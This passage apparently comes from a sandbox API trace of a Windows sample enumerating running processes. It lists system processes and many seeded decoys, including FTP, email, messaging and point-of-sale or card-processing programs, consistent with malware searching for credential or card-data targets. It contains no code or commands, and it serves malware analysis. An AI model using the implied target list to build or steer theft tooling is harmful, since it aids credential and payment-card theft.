pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.975] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0216.977] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.979] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.981] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.983] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.985] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.987] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.989] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.990] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0216.993] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0216.994] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0216.996] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.998] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0217.001] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0217.003] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0217.005] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0217.008] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0217.011] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0217.013] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0217.016] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.019] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0217.021] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0217.024] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0217.026] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0217.028] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0217.031] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0217.151] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0217.153] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0217.155] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0217.157] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0217.159] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0217.167] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0217.169] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0217.171] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0217.173] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0217.176] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0217.178] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0217.180] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0217.183] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0217.186] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0217.188] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0217.190] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0217.192] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0217.195] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0217.197] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0217.200] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0217.203] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0217.206] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0217.209] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0217.212] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0217.214] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0217.262] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0217.265] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0217.268] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0217.271] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0217.274] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0217.277] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0217.280] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0217.283] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0217.285] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0217.288] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0217.291] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0217.294] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0217.296] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0217.299] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0217.301] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0217.408] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0217.411] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0217.414] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0217.416] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0217.419] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0217.422] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0217.432] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0217.435] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0217.438] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0217.441] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0217.445] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0217.447] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0217.491] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0217.495] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0217.498] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0217.500] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0217.502] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, 